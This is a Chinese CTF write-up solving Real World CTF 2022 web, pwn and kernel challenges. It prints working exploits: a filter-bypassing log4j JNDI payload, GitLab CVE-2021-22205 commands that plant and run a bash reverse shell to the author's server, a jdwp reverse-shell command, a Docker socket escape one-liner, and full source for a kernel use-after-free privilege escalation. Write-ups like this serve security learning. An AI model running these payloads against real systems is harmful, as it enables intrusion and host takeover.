Real World CTF 2022 体验赛 Writeup
本文最后更新于:2022年1月23日 上午
Write Before
一个人干了一天的web
,再加上学弟的帮助,终于第一次在比赛里把所有web
题都干掉了(Pwn
和Kernel
都是学长做的,我太菜了不会),我们也成功把名次干到了能拿奖品的位次,可喜可贺,可喜可贺~(能说不愧是Real World CTF的体验赛嘛,Web全是CVE)
Check-in
Digital Souvenir
Find out the redemption code for the digital souvenir for audience and put it in the flag format rwctf{something}.
真就签到题,别想多了,直接在公告里找到
flag: rwctf{RealWorldIsAwesome}
Web
Be-a-Database-Hacker
Have fun hacking one of the most popular in-memory databases in the world.
flag:rwctf{c4374dba71fbf50144f7a1a04b7f5837}
log4flag
Make log injection great.
使用log4j-shell-poc进行shell反弹.
注意使用jd-gui查看SecurityFilter.class
源码时发现有正则匹配过滤,通过文章发现可以采用关键字截取绕过.
private static final Pattern pattern = Pattern.compile("(\\$\\{jndi:)|(ldap:)|(rmi:)");
查看LoginServlet.class
源码发现注入点在username
public class LoginServlet extends HttpServlet {
private static final Logger logger = LogManager.getLogger(LoginServlet.class);
private static final String USERNAME = "admin";
private static final String PASSWORD = "admin";
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String username = req.getParameter("username");
String password = req.getParameter("password");
if ("admin".equals(username) && "admin".equals(password)) {
logger.info("Login success");
req.getSession().setAttribute("user", "admin");
resp.sendRedirect("/hello.html");
} else {
logger.error("User {} login failed", username);
resp.sendRedirect("/error.html");
}
}
}
于是直接在Username处输入${${:::::-j}ndi:${:::::-l}dap://<local_server_ip>:1389/a}
,本地得到反弹shell,找到flag在根目录下.
flag:rwctf{d4b4b837f95542aa93b43ee280b230d8}
baby flaglab
Hope this challenge can bring back the flaglab pwning experience in Real World CTF 2018.
Note: For the remote envrionment, after proof-of-work, it may still take a few minutes to launch the flaglab website. If you can’t access the web page, just be patient:-)
HINT: Baby flaglab is too immaturate to properly process images.
根据题目提示找到GitLab 远程命令执行漏洞复现(CVE-2021-22205),直接按照文章反弹shell即可。
# 写入反弹shell脚本
python3 CVE-2021-22205.py -a true -t http://47.102.106.96:39459/ -c "echo 'bash -i >& /dev/tcp/<local_server_ip>/1389 0>&1' > /tmp/1.sh"
# 给执行权限
python3 CVE-2021-22205.py -a true -t http://47.102.106.96:39459/ -c "chmod +x /tmp/1.sh"
# 服务器监听1389端口
nc -lvnp 1389
# 运行,获取git权限shell
python3 CVE-2021-22205.py -a true -t http://47.102.106.96:39459/ -c "/bin/bash /tmp/1.sh"
flag:rwcft{4edb62cb7b37d647e13bfed4f8d4b860}
Be-a-Database-Hacker 2
If you are a php+apache+mysqler, don’t miss this chance to taste this new database.
网上查找h2database相关cve,找到几天前新鲜出炉的CVE-2021-42392,阅读文章,发现和之前log4j的利用方式差不多,可以使用之前的log4j-shell-poc进行shell反弹.
Driver Class:javax.naming.InitialContext
JDBC URL:ldap://<local_server_ip>:1389/a
flag:rwctf{6288999b40cda6a393f247ef82e137e2}
Flag Console
Hack weblogic with only one url.
根据题目提示找到Weblogic Console HTTP协议远程代码执行漏洞复现(CVE-2020-14882),直接利用CVE-2020-14882_ALL执行cat /flag
flag:rwctf{a4c0185ddf2a4e679bd6f1df137c12ba}
Ghost Shiro
Ghostcat spies on everything of the website. No KEYs are exceptions.
分析源码和题目给的端口信息,确定利用AJP的CVE-2020-1938和Shiro的CVE-2016-4437漏洞,先使用AJP的CVE-2020-1938读取网站目录下的/WEB-INF/shiro.ini
,得到rememberMe的密钥ODN6dDZxNzh5ejB6YTRseg==
(这里可以msf一把梭),接着使用Shiro的CVE-2016-4437的工具,这里使用ShiroAttack2,直接远程命令执行cat /root/flag.txt
.
flag:wctf{1b3df79b3c0e39f5b9f8815914403432}
the Secrets of Memory
Have fun digging into Spring Boot Actuator and hope you can reveal the Secrets of Memory.
由题中 Spring Boot Actuator以及Memeory关键词入手,确定目标为Spring Boot Actuator的heapdump漏洞。通过Actuator暴露的heapdump结点,可以获得框架heapdump。
利用Eclipse Memory Analyzer分析heapdump。通过附件中spring.datasource.password=this_is_flag
提示信息,定位到对应键,通过dominator tree得到其值
flag:rwcft{d597d5defdd22829d8587efb9f9d0954}
Java Remote Debugger
What would you do if you get a remote debugger for Java?
通过题目信息,可以找到jdwp漏洞利用工具jdwp-shellifier,需要python2,在jdwp-shellifier-windows有打包好的exe,可以直接使用。通过文章,可以对反弹shell进行base64编码进行利用。
.\jdwp-shellifier.exe -t 139.196.23.201 -p 8888 --break-on "java.lang.String.indexof" --cmd "bash -c {echo,<base64编码后的反弹shell>}|{base64,-d}|{bash,-i}"
Pwn
Remote Debugger
What would you do if you get a remote debugger?
给了一个gdb的远程连接,思路是写一个orw shellcode把flag读出来,shellcode可以用gdb的set命令直接写进内存里。
做题过程中发现远程连接里write的东西不会发送过来,那只能用gdb直接读取内存来拿flag了。
用pwntools简单生成一个shellcode
shellcode = ''
shellcode += shellcraft.open('/flag')
shellcode += shellcraft.read('rax','rsp',0x100)
shellcode += shellcraft.write(1,'rsp',0x100)
print(shellcode)
payload1 = asm(shellcode)
然后转换成long整数,用set命令一个一个的敲进rip的位置,然后continue,然后用x去读$rsp就行了
flag:rwctf{gdb-is_awes0me!!!}
Be-a-Docker-Escaper
Do you want to be a docker escaper? So you need to be patient. It takes minutes for me to get a docker ready for you. I can’t make it faster without kvm, but I think you can do it locally.
宿主机的docker socket被挂载到容器内部,所以在容器内安装docker,然后在容器内对宿主docker进行操作,挂载宿主根目录到新容器内,再打印。
docker -H unix:///s run -v /:/aa ubuntu /bin/bash -c "cat /aa/root/flag"
rwctf{d69cc63cfb70f1ab6726edeb7254dadd}
Kernel
Digging into Kernel
Tired of hacking applications? Let’s take a low level journey into the kernel.
打开两次设备,关掉一个,可以use after free,分配的内存大小等于cred大小,所以fork之后子进程的cred结构体分配到uaf的内存里,子进程覆盖cred里面的uid,提权root。不知道为什么execve会炸掉,所以改成orw的写法了。可执行程序转换成base64扔进控制台
cat << "EOF" > a.b
<略去base64编码的程序>
base64 -d a.b > a
chmod +x a
./a
#include <signal.h>
#include <stdint.h>
#include <sys/syscall.h>
#define O_RDONLY 0
#define NULL 0
extern long syscall(long __sysno, ...);
struct arg {
void *user_mem;
uint32_t offset;
uint32_t size;
};
int open(const char *__file, int __oflag) {
return syscall(SYS_open, __file, __oflag);
}
int read(int __fd, void *__buf, size_t __nbytes) {
return syscall(SYS_read, __fd, __buf, __nbytes);
}
int write(int __fd, const void *__buf, size_t __n) {
return syscall(SYS_write, __fd, __buf, __n);
}
int ioctl(int __fd, unsigned long __request, void *__argp) {
return syscall(SYS_ioctl, __fd, __request, __argp);
}
int close(int __fd) { return syscall(SYS_close, __fd); }
int execve(const char *__path, char *const __argv[], char *const __envp[]) {
return syscall(SYS_execve, __path, __argv, __envp);
}
__pid_t fork() { return syscall(SYS_fork); }
__pid_t wait4(__pid_t __pid, int *__stat_loc, int __options,
void *__usage) {
return syscall(SYS_wait4, __pid, __stat_loc, __options, __usage);
}
void __exit(int c) { syscall(SYS_exit, c); }
void _start() {
uint8_t mem1[64] = {};
struct arg arg;
int fd = open("/dev/xkmod", O_RDONLY);
int fd2 = open("/dev/xkmod", O_RDONLY);
if (fd < 0 || fd2 < 0) {
__exit(1);
}
ioctl(fd2, 0x1111111, &arg);
close(fd2);
int pid = fork();
if (pid == 0) {
arg.user_mem = mem1;
arg.offset = 8;
arg.size = 24;
ioctl(fd, 0x6666666, &arg);
int fd3 = open("/flag", O_RDONLY);
read(fd3, mem1, 64);
write(1, mem1, 64);
} else {
wait4(pid, NULL, 0, NULL);
}
__exit(0);
}
.intel_syntax noprefix
.globl syscall
syscall:
mov rax, rdi
mov rdi, rsi
mov rsi, rdx
mov rdx, rcx
mov r10, r8
mov r8, r9
mov r9, [rsp+8]
syscall
cmp rax, 0xFFFFFFFFFFFFF001
jnb short loc_F7682
ret
loc_F7682:
// mov rcx, cs:val3
// neg eax
// mov fs:[rcx], eax
or rax, 0xFFFFFFFFFFFFFFFF
ret
编译gcc -nostdlib -static test.c syscall.S
Digging into Kernel 2
Oops, the journey into the kernel gets stuck at the beginning. Let’s move on the way.
用1的exp直接过了,看起来1题我写复杂了
Last
PS:官方弄的数字纪念品NFT是真的好看~